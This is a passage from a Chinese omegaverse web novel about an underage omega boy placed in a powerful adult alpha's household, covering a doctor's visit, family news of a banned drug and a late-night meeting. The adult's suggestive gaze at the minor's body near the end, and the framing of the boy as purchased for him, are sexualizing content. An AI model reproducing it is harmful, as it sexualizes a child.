还是楚落自己给自己松了绑,双腿颤抖着从床上下来,裹着一件也不知道是什么玩意儿的破衣裳站在梁慈默的面前,冷蹙着眉问:
“这样可以怀上孩子么。”
当时的梁慈默都差点在两人的面前碎掉了,你们两个都是顶级alpha,本来受孕的可能性就几乎为零。
到底想干嘛?!想逼死他就直说好么!
梁慈默气的想骂娘,刚拿出箱子里携带的镇定剂与强效抑制剂,却听身后的人一声抑制不住的喘息。
那一瞬间,梁慈默想立刻弃医从文,狠狠的曝光这两个不道德的人。
但一长串的冰冷数字还是挽回了他最后一丝理智,他动作快速的按住诸王将药剂打进他身体里。
楚落转过头来还对他一笑,像一朵盛开至糜烂的海棠,勾的人错失魂魄。
梁慈默从回忆中抽出神来,抬头看见二楼的楼梯边上正站着一个十分清瘦的少年。
那少年脸颊上两朵红晕像是喝醉了酒,神情好奇却又带着几分紧张感偷摸着打量了他一眼,转身就走了。
分明就是个小朋友,就是不知道到底是谁家的。
梁慈默转过头对罗敏说,“我自己上去就好,阿臧那边……还有其他的吩咐么?”
罗敏摇摇头,“先生什么也没说,不过……”
罗敏想了想还是说道:
“不过杜少爷是一名omega,还请梁先生费点心。”
梁慈默懂得这话的潜在含义,说是费点心,不过是在提醒他AO有别。
梁慈默笑了笑,罗敏这提醒倒显得多余,他们医生可是最有职业操守的了。
杜若寒只是想下来看看江先生还在不在,但一楼的客厅空空如也,答案显而易见。
原本他想要先回房间,却又恰好看见罗敏带了一个穿着白褂子的男人进来,大抵是江先生请来的家庭医生。
杜若寒便远远的看了一眼,那医生长相斯文干净,给人的感觉十分沉稳内敛。
当然,如果他不笑的话,是这样的没错。
杜若寒在医生上来之前,回到房间戴上了才摘下来的抑制环。
尽管他现在头晕的厉害,脑子却还算清醒。
所以当梁慈默来到门口习惯性的驻足停留观察时,便听见里面的那小omega用有些哑了的声音说:
“请、请进。”
杜若寒紧张的攥紧了双手,他忘记跟江先生说,其实他很怕去医院也很怕见到医生。
倒不是害怕医院里那难闻的消毒水味,而是他那每每发炎向外凸起的残缺腺体,让他在医院吃尽了苦头。
当尖锐的针头刺入腺体的边缘,冰冷的药水注入皮肤,剧烈的疼痛袭来,杜若寒每次都像是从河水里打捞上来一样,全身都在止不住的冒冷汗。
梁慈默站在门口,仔细的打量着眼前
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的小朋友,看上去绷着一张小脸俨然一副挺严肃的模样。
难道他长的像坏蛋么?不能吧,他还是很英俊倜傥的吧?
梁慈默这般想着,脸上却端起职业性的微笑:
“你好,怎么称呼?”
“您好,我叫杜若寒。”
杜若寒往边上走了走,让开一些空间。
“梁慈默,是江先生让我来的。”
“吃馍?现在就吃么?”杜若寒头晕的厉害,冷不丁的听错,心里有点想不明白,为什么不吃药要吃馍呢?
梁慈默脸上的笑差点裂开,这孩子是真的烧傻了。
“哈哈哈,真幽默,你叫我梁医生就好。”
在进门之前,梁慈默特意调高了手腕上的抑制环档位。
房间内如此高的信息素浓度,如果眼前的omega不是正处于发情期,那么必然是腺体损伤才导致的信息素释放异常。
而前者的概率小到几乎为零,第五江臧的家里其他的药不说多,紧急抑制剂一定是最多的。
还有他常常揣在口袋里的吸入式E级控制素,像是香烟一样的东西,也是梁慈默给他配置的。
如果真的只是发情那么简单,又何必让他跑这一趟。
梁慈默沉思片刻,已然想清楚了所有,还本来以为事情会很简单呢。
他在心里长叹一口气,再回神看向杜若寒的眼睛冷静而锐利:
“若寒同学,你的腺体是不是最近受到了损伤?麻烦你可以详细的说一下么。”
杜若寒摇摇头,像往常每一次去医院急诊那样,平静而温和的开口道:
“不是的医生,不是最近受的伤。”
梁慈默微微一愣,“那是什么时候?”
搞了半天,不是第五江臧造的孽啊,他又有些不确定了。
“我很小的时候一场高烧烧坏了腺体里的神经,所以它到现在仍旧是发育不全的。”
“麻烦您给我开一些消炎药和退烧药吧,我不太想打针。”
说到后半句,杜若寒脸上的那种紧张感又浮现出来了,沉稳的小大人不见,又变成了可怜巴巴的小朋友。
原来这小家伙的紧张感仅仅是因为怕打针啊。梁慈默心里觉得有趣的紧,忍不住勾起唇角逗他道:
“杜若寒同学,如果不打针的话,你的烧好像很难退掉的吧?”
杜若寒一听,简直快要晕过去了,仍旧在为自己努力争取机会:
“我觉得吃了药可以退掉的,要不我们先吃药试试吧,可以么医生?”
梁慈默忍不住笑出声,“可以是可以,不过你要把你的病情再详细的和我说一遍,不要有所隐瞒知道么?”
“知道的医生!”
等梁慈默再从房间里出来,已经是半个小时后了。
他刚要下楼,便瞧见一直都在二楼守着的罗敏,心里忽而感觉有些不舒服。
于是他少见的不礼貌的招呼也没打,转身径直下了楼。
等出了香榭丽舍,他拨通了第五江臧的电话。
“喂。”
电话那头传来一道低沉的男声。
梁慈默开门见山的说道:
“阿臧,你让我过来一趟看病的小朋友到底和你什么关系呢?”
他也不等对面回答,语速很快的接着往下说道:
“他是典型的后天性腺体发育障碍,在不借助任何人为介入的诱导下,想要完全康复只有手术。”
“但你身为江氏制药的掌权人,应该明白这一类的神经腺体手术失败的风险很高。”
“其实最好的方式并不是手术,而是利用enigma的E级素进行二次催发生长,不过这需要很长的时间,并且在催发的过程中,还必须保证这个enigma不伤害他……”
说到这梁慈默稍稍一顿,“需要我帮你找一个合适的enigma人选么?”
当然,这其中还有些两人都心知肚明的潜规则,梁慈默没有说。
他以为对方不会考虑太多,但他等了好一会儿,电话那头只是传来简洁有力的两个字。
“再说。”
19.第 19 章
“杜少爷,您的牛奶。”
罗敏将温好的热牛奶特意放在杜若寒的面前,顺手收拾走他吃剩下的餐盘。
杜若寒抬起头认真的看罗敏一眼,“谢谢。”
“您客气。”
罗敏脸上露出一抹淡淡的笑,她走后,杜若寒盯着罗敏的背影看了一会儿才拿起牛奶出门。
在这段时间里,杜若寒差不多算是和他的两位司机们混了个脸熟。
和性格开朗话多的齐帆不同,林识为人做事向来沉稳,只要是他备的车,永远都会比约定的时间早上十分钟。
而齐帆只会掐着点,在杜若寒出门的同时,车子也缓缓驶到他的跟前,再一招手,笑着露出四颗洁白的牙齿和杜若寒问好:
“早上好!少爷!”
“早上好,帆哥。”
杜若寒相当配合,每次叫完,齐帆都要龇个大牙再乐上一会儿。
他们各叫各的,辈分论不清,反正没人在乎,也没人听见。
杜若寒很喜欢齐帆,和墨守成规的林识不同,齐帆识趣有个性。
更重要的是,他没有因为杜若寒此时尴尬的身份而有所区别对待。
他们更像是朋友,而不是上下级。
但可惜的是,今天来送他的人不是齐帆而是林识,杜若寒已然从一开始的不习惯到习惯。
林识为他打开车门,接过他手里的书包,杜若寒坐进去再到车子启动,一系列都是安静而又无可挑剔的。
在这一刻,他可以是一个昂首挺胸的大人物,也可以是一个卑微到尘埃里的小人物。
至于究竟是谁定义了这两者的界限,掌握话语权的那人却并不常在家里出现。
自从他高烧烧退后,杜若寒明显能察觉到周遭一些事物的变化。
比如罗敏对他突然骤变的称呼方式,以及态度和说话语气。
从一开始的亲切到现在的客气与疏远,每每都让杜若寒感到十分不解和疑惑。
尽管他并不知道这其中发生了什么,也许跟江先生有关,又或许没有。
他也试着去委婉的询问过,但在对上罗敏的眼神后,有些话终究没能说出口。
自那之后,他再也没见到过江先生。
好似之前所经历的家长会、以及发生在房间里的那些对话,都只是他一个人脑袋烧坏掉时出现的幻觉。
如果没有那管消肿药以及手机里没有梁医生的联系,杜若寒可能真的会相信。
但很可惜的是,那管消肿药膏就摆放在他的床头,时时刻刻提醒着他曾经发生过的无法言说。
可在今天早上,杜若寒终于忍不住把那管药膏扔进了抽屉里。
没有意外,在这不久后,多次有犯事前科的杨贺被学校开除,周敦记了大过。
钱东锋差点被淮大劝退,听说钱东锋的父母前后不知道花了多少钱,找了多少人才给他们儿子争取到留校察看的机会。
只是在校留察的一年期间,他也都只能夹着尾巴做人了。
同样动手打了人的杜若寒写了不下三千字的检讨书,去交给教导主任的那天才知道。
那个被杨贺抖落出来妈妈在外给校领导做小三的高一女生,同样也被学校劝退了。
学校调了那天他们在开水间的监控,涉事的学生一个也没放过,可以说处理方式以及执行的都要比往常严厉太多。
很显然,校方是在给某个人一个完完全全的交代。
杜若寒不知道自己是怀着怎样的心情走出的教导办公室,只知道自己回到座位上坐下时才发现,他的手竟然在抖。
他突然明白,当一个普通人开始凝视权利深渊的同时,深渊也在静静的回望着你。
如果有一天当江先生这样的人物站在自己的对立面,那么他的下场又会如何?
值得肯定的是,那时候他的下场只会比杨贺与钱东锋还要惨。
那一瞬,杜若寒心中是充斥着恐惧的。
而这种恐惧与儿时所面对的黑暗不尽相同,它让杜若寒深刻的意识到,长大只是一场自我精心编织的童话。
童话的背后,是对当下懦弱的自己的不认可与抗拒。
杜若寒是在早自习的时候,将这些较为深沉的日记写在了妈妈留给他的日志本里。
写完之后他又犹豫着,要不要再加几句,看上去确实有些……太装了?
于是,他在一阵急促的下课铃声中又补上了两句。
【但值得庆幸的是,自那以后我再也没见到过江先生。】
【虽然我其实有一点点的想他,没有原因。】
晚上放学的时候,来接他的人竟然换成了齐帆。
杜若寒还有些意外,脸上却藏不住惊喜的笑意:
“帆哥,怎么是你来接我呀。”
齐帆冲他一挑眉毛,“林识说你呀,早上走的时候闷闷不乐的,还以为自己做错了什么。”
“晚上说什么都要让我来问问,是不是他惹你生气了。”
齐帆亲自下来给他打开车门,笑嘻嘻道:
“少爷,请上车。”
杜若寒被他整的有些不好意思,钻进车子里面等齐帆也上了车,才赶紧开口解释道:
“没有的事,可能是早上起来有点太困了,你帮我跟林哥说一声呀。”
林识这人除了闷葫芦了一点,其实和齐帆一样,都挺喜欢杜若寒的。
小杜同学为人善良有礼貌,从来不摆架子,唯一可惜的一点就是,他不爱听林识喜欢的爵士乐。
齐帆听罢忍不住笑道:
“你还别说,这个男人闷骚起来感情也很细腻的对吧?”
杜若寒听罢满头大汗,真不知道你是夸人呢还是骂人呢。
“晚上先不回香榭丽舍了吧,我想去陪陪伍爷爷。”
今天杜若寒下课的早,五点不到就从学校里出来了。
他成绩好,刑复从来不要求他跟班补习以及上晚辅导。
这几天伍爷爷学会了用x信表情包,早上的时候爷孙俩在那斗图斗了半天。
他一个老年人哪能玩的过小年轻,急的让一旁的杨皓给他支支招。
杨皓是真的满脸问号,你让他开坦克飞机那也没有任何问题,结果老先生让他去搜网络流行斗图表情包?
他真是哭笑不得,问题是搜了还没斗过杜若寒。
这给杜若寒乐的嘎嘎笑,上课的时候挨了语文老师好几个瞪眼,还有竹玉
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渲的一巴掌才老实不少。
反正晚上回家也是写作业然后陪竹玉渲打游戏,天一黑,杜若寒也就不怎么下楼了。
香榭丽舍那么大一个别墅,只住着杜若寒和罗敏两个人,实在是太过冷清,
有些时候罗敏晚上也是不在的,至于江先生……杜若寒已经有大半个月没有见到他了。
就像一开始齐帆说的那样,江先生居无定所。
而且他不回来的这些天里,杜若寒也都已经习惯了。
至于其他的这些,他也都没有再去多想,所以这段时间他跑医院也算勤快,主要还是想多陪陪伍爷爷。
杜若寒特意让齐帆在花店门口停车,自己下去买了一大捧白里透粉的芍药,盈盈的香气散了他满身。
他来的时候,不曾提前打过招呼,杨皓正站在走廊的另一侧抽着烟。
远远瞧见他的时候,杨皓神情微微一愣,手里的烟是要掐没掐,等他反应过来时,他手下已经把人放进去了。
杨皓这才扔了烟走过来,神情微妙:
“臧爷在里面,这就……放进去了?”
他那手下也是没想起来这茬,毕竟杜同学是老爷子说了的不让拦。
更何况杜若寒来的次数多了,他们也都已经习惯了。
杨皓不太确定,心里有些忐忑不安的在原地等了一会儿。
瞧见关上的房门没有再有打开的预兆,这才缓缓放下心来。
房间内,爷孙俩之间的沉默对峙只进行到了一半,就被意外到来的另一人给打断。
“伍爷爷!”
未见其人,先闻其声,第五江臧的左眼皮忽而跳动了一下。
他的耳朵竟然比眼睛更快一步的认出了来人。
穿着白色衬衣的少年捧着满怀白里透粉的芍药花,急匆匆的闯进门来。
芍药在他的怀里盛开的灿烂,极致的白与粉衬着少年一双漂亮的眸子杂糅着水亮的光泽。
他脸上的笑容却是第五江臧从未见过的纯粹的白,像是一朵未曾染色却足够动人心魄的芍药。
杜若寒在看清眼前的人时明显一愣,着急忙慌又手忙脚乱的在他面前好不容易的刹住脚。
怀里的芍药花抖落几朵,花瓣颤抖着摔落在地。
而芍药的香气,还是扑了第五江臧一身。
他抬眼看他,因为跑的太过着急,少年的脸颊泛着淡淡的粉色,这让第五江臧不由的想起他高烧的那天。
是要比现在的颜色更深一些,味道也要更为浓郁一些。
男人脸上没有太多的表情,杜若寒有些怕的低下头,乖乖的喊了一声江先生。
第五江臧没有说话垂着眼眸,不过才几天没见而已,倒是又退回到最开始的模样了。
第五治瞧着他俩这幅样子,不知道的人还以为是不是有什么深仇大恨。
原本板着的脸却对少年露出一些笑意:
“若寒,来。”
杜若寒听见伍爷爷在叫他,他便不确定的抬头看一眼男人,发现男人竟然还在盯着自己看。
忍不住身子一抖,刚弯下腰要捡地上的花,就听见上方传来江先生的声音:
“杜若寒,又不知道喊人?”
20.第 20 章
杜若寒心里咯噔一声,可是明明刚刚才喊过……
他不太确定的看了一眼坐在床上的伍爷爷,随后对上男人有几分捉摸不定的眼眸。
他这才想起什么似的红了耳廓,抱紧怀里的芍药,白里透红的花瓣遮住了他小半张脸。
蚊子哼的声音从小小的从花瓣下传来:
“…哥。”
原来没忘。第五江臧低垂着眼眸,不紧不慢的应了一声:
“去吧。”
杜若寒这才如释重负般的绕过他走到第五治的跟前,脸颊上是遮掩不住的绯红。
“伍爷爷,不好意思,我来之前应该先和跟您说一声的。”
说完,他将芍药小心的插进床头边上的花瓶里,没有发出任何的动静。
他没想过会这么巧的在这里碰见江先生,自己又不太礼貌的打断了真正爷孙俩的独处时光。
心里有些过意不去的同时,又觉得尴尬和不太自在。
大抵是在这爷孙面前他才是真正的外人,他能找寻的也只有一个被赋予了的尴尬身份。
但第五治却并不这样觉得,他笑着说道:
“别说这样的话,又没有外人,你能来爷爷发自内心的高兴。”
“更何况你还带了这么一大捧漂亮的芍药,好香。”
杜若寒摆弄花枝的手微微一顿,抬起头很小心的偷看他一眼,像是不太想让人发现。
第五治就像是他幻想中想要的爷爷那样,慈祥温柔,和蔼可亲,他关心杜若寒的学习,吃穿和用度。
他让总是很忙的江先生抽出时间来给杜若寒开家长会,而不是随随便便找一个保镖或是通知杜兆。
他会跟杜若寒开玩笑,斗表情包,而对于那些施加在他身上的病痛和折磨一概不提。
但杜若寒能看到他日渐消瘦下去的身躯,以及越发难看而蜡黄的脸颊。
人总是这样,随着感情的与日俱增,最先感受到的不是幸福,而是害怕与失去。
杜若寒只敢看这一眼,很明显第五治的精神头已经没有前几天那么足了。
再过一会儿,他就必须要休息了,他整理好花瓣便放下手,想把伍爷爷的时间尽可能多的留给江先生。
“爷爷,我改天再来看您。”
杜若寒很乖,第五治下意识抬手想要挽留,但想了想自己的身体状况,也就没有再说什么。
“好,明天就来的吧?”
“来的,爷爷。”
杜若寒笑着应一声,第五治这才放心下来目送他走。
等他走到门口,一直没有出声的男人忽而开口:
“杜若寒,车里等我。”
杜若寒愣了一下,下意识点了头。
等他走后,第五治脸上的笑才尽数收敛,只剩下深深的疲倦。
他没有说话,第五江臧也不急着开口。
他低垂着眼眸从口袋里摸出黑色的烟匣,慢条斯理的给自己点上火。
不一会儿,房间里燃起另一种甜腻的香气,很快气势汹汹的压过芍药香。
第五治很慢的撩起眼皮,声音低沉,却算不上有力。
“我选他,是让他成为你的omega,而不是你的弟弟。”
第五江臧听罢,脸上露出一抹淡淡的笑,只不过这种笑意并未直达眼底,反而透着一股难以言喻的冷漠。
“在我看来,这没什么不同。”
第五江臧垂着眼,黑色的瞳孔倒映着指尖燃起的一点猩红,衬着俊美的脸更像是从地狱中爬出来的某种完美生物。
第五治在沉默中逐渐意识到,自己想法的可笑。
他希望在自己死后,有人能够代替自己陪伴在第五江臧左右。
然而第五江臧的妥协,仅仅是换了另外一种看似温和却不容置喙的方式来抵抗。
可这件事对于他们而言,其实并没有带来更多的影响。
真正受到影响和改变的,只有那本就可怜的小孩一人。
尽管第五治并不想用玩弄这个字眼来形容,但显而易见的是,杜若寒还是成为了他与孙子之间不断拉锯的牺牲品。
他们与他的亲身父亲没什么不同,第五治花了一笔钱相对来说得到了小孩的支配权。
他本来有机会成为第五江臧的妻子,但绝大可能性他只是第五江臧摆放在豪宅里一个小小的修饰品。
在漫长的岁月里,得不到主人真正青睐的一眼。
想到这,第五治深深的叹了一口气,他像是真的累了、倦了,于是神情渐渐松动了:
“他还是个孩子,你别伤害他。”
第五江臧夹着烟的手微微一顿,他在淡白的烟雾中抬起眼,脸上其实并没有任何的表情。
但第五治却能感觉到他的不高兴,却不知具体是为了什么。
“是啊,您也知道他尚未成年,就往我身边送。”
第五江臧轻笑,指尖的烟灰随着他沉着有力的说话声而被震动着掉落。
第五治缓缓闭上眼,不想再看他那张在某一刻与他父亲十分相像的脸。
第五江臧却一直站在原地保持不动,目光深邃的落在第五治紧握在一起却控制不住气抖的双手上。
本以为老东西要将冷战进行到底,第五江臧闲来无事准备再续上一根,冷不丁的听见第五治开口道:
“你想要我早点死就早说。”
第五江臧动作微微一顿。
“那玩意儿你现在一天要抽多少根才能保持冷静,五根?还是十根?”
第五江臧笑了一下,语气却很平淡:
“不多,十二根。”
第五治气的手更抖了,几乎接近是两个小时一根的量。
这要是放在普通的alpha身上,早就因吸食过度而猝死了。
第五治管不了他,其实这样的结果也不过是早点或晚点的事。
他睁开眼看向自己的孙子,神情竟少有的严肃和认真:
“不喜欢就离他远点。”
第五江臧少见的愣怔一瞬,他才反应过来老头子说的是杜若寒。
“你不差那点养他的钱吧,他有他自己的亲人与兄弟,不差你来当什么哥哥。”
第五江臧没有说话,眼眸不再是微垂着的,眼底更是深不见底的黑色。
第五治却嫌自己说的还不够明白,“不要再见他了,我会让人安排好一切,知道了么。”
第五江臧站在原地一动不动,沉默的像一尊黑夜里的冰冷雕像。
就在第五治以为他会说些什么的时候,那人只是垂下眼来,声音冷淡的几乎没有起伏:
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“知道了。”
他转身离开后,第五治不太确定的又坐起身来往门口望了望。
杨皓进来的正是时候,第五治赶紧冲他招招手,示意他过来。
杨皓贴过去,听见老爷子眼里闪过一丝狡猾的神情:
“怎么样?那小子走的时候……脸色臭吧?”
杨皓一愣,仔细回想了一下,何止是臭着脸,身上都快结出冰渣子了,能冻死人的那种。
杨皓不无肯定的点点头,第五治这下心里是真的舒坦了,笑眯眯的说道:
“那就好,那就好。”
————————
杜若寒在车里都等睡着了,也没等到江先生。
等他醒来,车子已经快要开到香榭丽舍了。
他揉了揉眼睛,刚想要询问,这才想起来开车的司机不是他所熟悉的林识和齐帆。
杜若寒动作很轻的打量了一下,也不是他认识的关重,只是一张十分陌生的普通面孔。
想问的话只好作罢,明明让他等的人是江先生,爽约的人也是他。
这人真奇怪呢。杜若寒心里忍不住的小小抱怨一下。
自那之后,杜若寒就再也没见过江先生。
尽管这是常有的事,但杜若寒还是从其中察觉到了一丝不太寻常的气息。
他几乎可以肯定的是,爽约了的江先生再也没有回到过香榭丽舍。
在他偶尔失眠到凌晨两三点的午夜,整个世界都快被寂静所吞没,窗外的树影绰绰,像是晃动着幽灵。
杜若寒有一点害怕,但又说不上来那具体是一种什么感觉。
而强迫自己入睡的后果,往往就是睡到后半夜会突然听见汽车的轰鸣声。
但在惊醒之后,杜若寒才知道那只不过是自己产生的一种幻觉。
十月将尽之时,刚刚踩上秋的脚印,班里走了一部分特招的同学。
竹玉渲抱怨,周书庭那个死装货怎么还不走,班上的学味是越来越重了。
他一戳杜若寒的胳膊,瞪着眼睛道:说你呢!
杜若寒才抬起头眨眨眼,慢吞吞的说:我在刷题。
刷吧刷吧,迟早刷成呆头鹅,早晚给人拿去涮了吃!
杜若寒不以为然的笑笑,这算什么?听说过物种的多样性,没听说过物种的变化性啊。
竹玉渲气的叉腰,滚啊!
十月的最后一天,杜若寒从一个好久未联系的同学那里意外得知了杜汀州的消息。
自从他把杜兆的电话拉黑之后,已经很久没有再听到关于杜家那些人的消息了。
杜润雨倒是换了新的号码来辱骂过他,什么一长串令人眼花缭乱、常常的形容词,比如冷血无情、忘恩负义、吃里扒外的东西。
杜若寒看完后,想了一会儿到并不觉得杜润雨是在骂自己。
这些话,怎么着也落不到他头上来。
他都被杜兆卖给了江家,换了一大笔钱走,还想要他怎样呢?
想完他把杜润雨的新号码也拉进了黑名单里。
直到他那和杜汀州上了同一所高中的初中同学在某一天晚上发来消息。
杜若寒点开消息一看,心脏止不住猛地一跳。
【若寒,你知不知道你继母生的那个弟弟分化失败了?】
21.第 21 章
杜若寒盯着屏幕看了好一会儿才回过神来,紧皱着眉不太确定的打下几个字:
【你说的是杜汀州?】
在他还没有离开杜家之前,曾经和杜兆吵过一架。
杜兆亲口和他说过,杜汀州的分化报告上明确写了他分化成alpha的概率为95.6%。
这样一个几乎接近百分百的概率,怎么可能会分化失败?
难道从一开始,杜兆就在欺骗他?
杜若寒攥着手机的指尖因为用力而过分泛白,过了有三四分钟的时间,对面的董语越才回了消息。
【除了他还能有谁?】
杜若寒心里一冷,一时之间也说不上来是种什么感觉。
他滑动屏幕退出了消息页面,下意识打开了通讯录黑名单。
杜兆的号码就在第一页最上排的第一个,拉黑的时候杜若寒也没有改变对他的称呼。
爸。
杜若寒的目光停在这个字上面很久,久到董语越的消息不断跳出提醒,他才点进去回消息。
【你是不是从他们家搬出去了?我上次经过你们家,你那个继母说你已经不住这了,这是什么意思?】
董语越算是和他一起长大的半个发小,两人一起从幼儿园开始就是同桌,再到后面的小学和初中,足足八九年的时间。
杜若寒家里的情况他比竹玉渲还要了解,但两人的关系倒是一直不冷不淡。
初中毕业后,董语越的父亲送他去了更贵的私立高中学校,两人也就渐渐断了联系。
不过董语越从上学开始就一直很讨厌杜汀州,这也是为什么他会跑来告诉自己的原因,多少抱着几分看热闹的心态。
【先不管这个了,杜若寒你知道你那个弟弟有多厉害么?】
【虽然从小我就知道他不是个省油的灯,上初中的时候就敢跟高年级的学长谈恋爱,现在嘛……更不得了哎!】
【他竟然敢从黑市买了违禁药物私下里偷偷注射,AG-P530,你知道这是什么的吧?】
【梵氏定向诱导剂!他想分化成alpha想疯啦!这种事都能做得出来?是真不怕死啊!】
不断跳出的消息像无故下的一场冰雹雨,砸的杜若寒头晕眼花。
他逐字逐句的将董语越的消息又看了一遍,这些话连起来的信息量简直比他被他爸卖掉时还要令人难以相信。
AG-P530,这是一个在十年前就被国家明令禁止的一种违禁药品。
十年前,它还不叫AG-P530。
在一开始被江氏制药集团研制出来时,G-P529它只是作为一种辅助药品,主要用于医治腺体分泌不完善的alpha或oemga。
但在半年之后,G-P529经过一名叫樊超雄的医生改良,偷偷用于自己开的私人研究室,并将其秘密注射给了一名尚未分化青少年A。
而在接下来的十天里,青少年A的分化预估报告显示,其体内阿尔法合成素明显提高,而omega所需要的信息激素明显降低。
五天后,分化报告显示分化成alpha的概率已经从最开始的40%上升为可以定性的75%。
而实验的最终结果,A确实如愿成功分化成了一名alpha,并且信息素等级达到了中上的水平。
自那之后,梵超雄开始秘密生产改良过的G-P529,并将其更名为AG-P530。
而梵氏通过朋友介绍拉拢了一批对该项目感兴趣的财阀,通过钱财收买弄来了大量未分化的小孩投入到AG-P530测试实验当中。
而在这项恐怖实验未被报道出来之前,梵超雄已经借助研发出来的AG-P530成为了亚太盟医学界中最具有影响力的医学博士之一。
直至AG-P530被广泛使用了一段时间后,其诱导分化的成功概率仍旧保持在令人震惊的数字,66.73%。
当然使用过AG-P530却分化失败的那一类小孩,也几乎都被该药物毁掉的很彻底。
杜若寒自己就是个腺体残缺的未成年,在腺体医学研究这一块,他从初中开始就阅读查找过大量的书籍。
试图在这一个又一个的案例中,找到奇迹。
但很遗憾的是,当他对腺体医学了解的越多,心中积累的失望也就越多。
腺体的不可逆以及不可再发育创伤后遗症,一直都是医学史上最难攻克的难题。
而AG-P530,也只是作为一道强效有力的诱导剂来使用。
而AG-P530使用的前提就是腺体功能的完好性,它需要被腺体中所合成的一种名叫功量肽合的信息素所溶解并吸收,从而改变信息素分泌。
也就是说,即便杜若寒有这样一大笔钱从黑市上买到AG-P530 ,愿意冒着生命危险去使用它。
AG-P530对于他腺体的作用,却约等于零。
但杜若寒从未想过有一天,杜汀州会比他还要疯狂。
大抵是他分化报告上的概率值并不高,而他又是个事事追求完美和绝对的人。
但……这样行事,未必也太过偏激了些。
杜若寒心情复杂,想了想还是决定向董语越打听一下杜汀州目前的状况。
董语越很快回复他说,杜汀州已经被紧急送去医院了。
但定向诱导剂这玩意儿,滥用的后果不仅仅是导致分化失败那么简单。
董语越开始给他在线举例子,但对于杜若寒来说,其实根本就用不着。
因为杜若寒比他还要清楚,杜汀州会面临着怎样难堪的下场和结果。
分化失败的原因是因为AG-P530在他体内作用,阻碍了成为正常omega的分化。
通俗点来说就是,他拥有一套已经发育成熟属于omega的生殖腔,但信息素却是属于另一个未知的alpha。
他成了彻彻底底不男不女的怪物,即便手术成功,他也会和杜若寒一样,成为一名信息素等级低且性别特征不够明显的omega。
至于手术失败的结果,杜若寒还没有敢去想。
手机在他的手心里握的滚烫,花美琳的电话号码他滑走又翻出来。
反复多次之后,杜若寒想了想最终还是没有拨通继母的电话。
其实也没有别的原因,家里人出了这样的事,却并没有一个人来学校找他或者告知他。
以至于这样的消息还是从一个朋友那里听来。
如果他这个时候打去电话,即便是出于好意和关心,对面不仅不会领情,甚至觉得他是故意在嘲笑她们。
想到这,杜若寒放下手机没有再过多纠结。
他让董语越帮他多多关注,一有消息就告诉他。
几天后,杜若寒在英语课上收到了董语越发来的消息。
【算那小子走运哈,手术成功了,不过人嘛,估计不太好喽】
杜若寒紧拧着的眉毛松了开来,快速打过去两个字谢谢。
只要人没事就好,至于其他的……他想杜兆和花美琳会照顾好一切的。
当生活再度回归到平静,杜若寒开始越发的习惯现在的生活。
罗敏仍旧对他很是客气,少了几分从前的亲昵,杜若寒没有再试着拉近两人的关系。
他只是按照罗敏想要的那样保持距离,两人之间的交流也少了许多。
至于其他人会不会到访香榭丽舍,杜若寒没有太多的关注。
有些时候罗敏会安排园艺师傅上门修剪植物景观,或是重新种植草坪与花卉。
露天游泳池里的水总是两周换一次,尽管根本没有人会去使用。
杜若寒是个旱鸭子,怕水怕的厉害,江先生已经不会再回到这里,游泳池换水费时费力还费钱。
但杜若寒没有跟罗敏说,毕竟这本就是罗敏存在在这里的意义。
她是这里的管家,管理好别墅上上下下就是她的职责。
至于他,不给江先生惹事不找江先生的麻烦,就已经算很尽责了。
所以当这天夜里,杜若寒习惯性的下楼找东西吃时,别墅忽而照射过来一道刺眼的远光灯。
他没能第一时间反应过来,呆愣着看见一道挺拔而修长的身影在灯光的照耀下变得清晰夺目,却又看不清具体的五官。
那人低垂着头,骨节分明的手指屈起很随意的抓了一下额前的碎发。
随后他侧过脸来朝杜若寒所在的方向投来一个眼神。
与此同时,那般漆黑的夜在他的身后也演化为寂静蛰伏着的怪物,那般庞大而又无法捕捉,却又紧紧的压迫着人的心脏。
杜若寒几欲屏住呼吸。
这时,驾驶位上很快下来一人,脚步匆匆的想要过来搀扶,却被男人直接甩在身后。
远程灯被关掉,那道身影消失不见,杜若寒在一阵心脏砰砰直跳的声音中等待了一会儿。
几分钟后,他听到了由远及近的脚步声。
杜若寒这才回过神意识到自己不应该在这里,但此时再走显然已经来不及。
他想也没想的往冰箱后面躲了躲,在男人即将要看见他的前一秒。
其实他也不确定江先生有没有看见他,毕竟他没有开灯的习惯。
天又这么黑,隔着长长的一段距离,一眼能瞧见他的可能性其实很小。
杜若寒这般想着,心脏却已经提到了嗓子眼。
他瞧见男人穿着一件和平时风格不太相同的花色衬衣,只不过在黑夜里显得格外像蛇的花纹。
进了客厅之后,男人的脚步便倏然放慢了许多,像是怕惊扰到什么猎物一般。
他甚至没有抬起头来打量四周的环境,只是径直的走到真皮沙发跟前坐下,肩膀向后倚靠,两条修长的腿自然屈起一些再分开。
显然,这是一个很放松的休息姿势,但杜若寒却在空气中闻到了一股很浓重的酒味。
他不知道江先生要在这里坐到什么时候,正如他也不知道自己要在这里站到什么时候。
第五江臧微微眯起眼眸,空气中那点若有若无的芍药香,即便是隔着很远的一段距离也要拼命的往他身上扑。
而那站在冰箱后面一点的小小身影,只是用余光一瞥也能轻易的看见。
少年穿了一件很贴身的睡衣,他猜测这很有可能是他从家带过来又舍不得扔掉的老物件之一。
尺寸明显有些小了,刚好到腰边一点,贴着他的身子勾勒出一个足够令人遐想的弧度。
而他下半身穿着的短裤却又很宽松,只露出一双笔直而又漂亮的小腿。
至于其他,第五江臧没有再细看,喉咙发痒的想要点上一根烟止止渴。
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E能控制局那群老不死的东西,除了灌他酒之外,也玩不出别的花样。
开车的司机是E能控制局新上任的指挥官,他不知道第五江臧已经不回香榭丽舍住很久了,仍旧将他送来了这里。
到底还要藏多久。
男人漆黑的眼眸里酝酿着冰冷的情绪,就在他耐心快要耗尽之前,小朋友终于肯迈开腿走出那一小片的阴影,来到他的跟前。
杜若寒不太确定他是否是睡着了,毕竟喝了太多的酒,又是在这么晚的点。
他脚步放的很轻,几乎没有发出任何声音,在距离男人还有半米的地方停下。
对于杜若寒来说,坐下来的江先生仍旧有些高,他看不清他隐藏于黑暗中的脸,甚至看不清他半阖着的眼。
也就不知道在第五江臧眼中的自己,是顶着糅乱而蓬松的发,是紧张着咬白的清淡唇色,是小声轻轻的唤了一声:
“江先生?”
那人没有动,不知道是因为睡着了,还是没有听见,杜若寒紧张的攥紧了衣角,忍不住又凑上前去一点。
正当他想要看清江先生的脸时,忽而手腕一紧,心中的惊涛骇浪没能涌起,全部压抑在和男人猝不及防对视上的眼眸中。
第五江臧的指尖摩挲过他纤细手腕上一颗很小的痣点,触碰的热度随着松开的力度,并没有消散的很快。
“怎么这么晚不睡。”
